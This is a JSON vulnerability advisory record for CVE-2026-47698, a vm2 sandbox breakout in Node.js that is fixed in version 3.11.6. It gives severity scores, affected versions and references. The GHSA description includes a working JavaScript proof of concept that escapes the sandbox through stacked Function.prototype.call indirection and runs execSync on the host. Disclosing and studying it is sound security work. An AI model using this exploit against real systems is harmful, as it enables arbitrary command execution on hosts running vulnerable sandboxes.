{"id":"CVE-2026-47698","aliases":["CVE-2026-47698","GHSA-cfcw-xp6x-25gj"],"related":[],"kind":"vulnerability","state":"published","title":"vm2: Sandbox Breakout Using Dangerous Host Proto Mutators","summary":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous.\n\n### PoC\n\n```js\nconst {VM} = require(\".\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, \"__proto__\");\nconst setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, \"__proto__\");\n\nasync function f() {\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);\n  }\n\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    e.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n  }\n}\n\nf();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","format":"markdown","source":"ghsa"},{"lang":"es","text":"vm2 es una vm/sandbox de código abierto para Node.js. Antes de la versión 3.11.6, lib/bridge.js y lib/setup-sandbox.js no logran bloquear la indirección apilada a través de Function.prototype.call alrededor de mutadores peligrosos de getter y setter del prototipo del host, permitiendo que el código de la sandbox rompa la cadena de prototipos de un intrínseco del host y alcance e.constructor.constructor para la ejecución arbitraria de comandos del host. Este problema se ha corregido en la versión 3.11.6.","source":"nvd"}],"published":"2026-08-17T17:32:41.000Z","modified":"2026-10-23T16:10:00.313Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-913"],"affected":[{"ranges":[{"version":"< 3.11.6","status":"affected"}],"vendor":"patriksimek","product":"vm2","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.11.6"}],"ecosystem":"npm","package":"vm2","purl":"pkg:npm/vm2","source":"ghsa"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/patriksimek/vm2/commit/a85acb61f81402c6eabf32760aa11272af6d0f9e","tags":["x-refsource-misc"],"sources":["cvelist","nvd"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/3.11.6","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-08-18T00:00:00.000Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-47698","url":"https://www.cve.org/CVERecord?id=CVE-2026-47698","licence":"CVE Terms of Use","modified":"2026-08-19T03:56:02.855Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-cfcw-xp6x-25gj","url":"https://github.com/advisories/GHSA-cfcw-xp6x-25gj","licence":"CC-BY-4.0","modified":"2026-08-17T17:56:03.510Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-47698","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47698","licence":"Public domain","modified":"2026-10-23T16:10:00.313Z"}],"updatedAt":"2026-11-25T22:59:33.391Z","epss":{"score":0.00704,"percentile":0.54582,"date":"2026-12-02T12:00:21.000Z"}}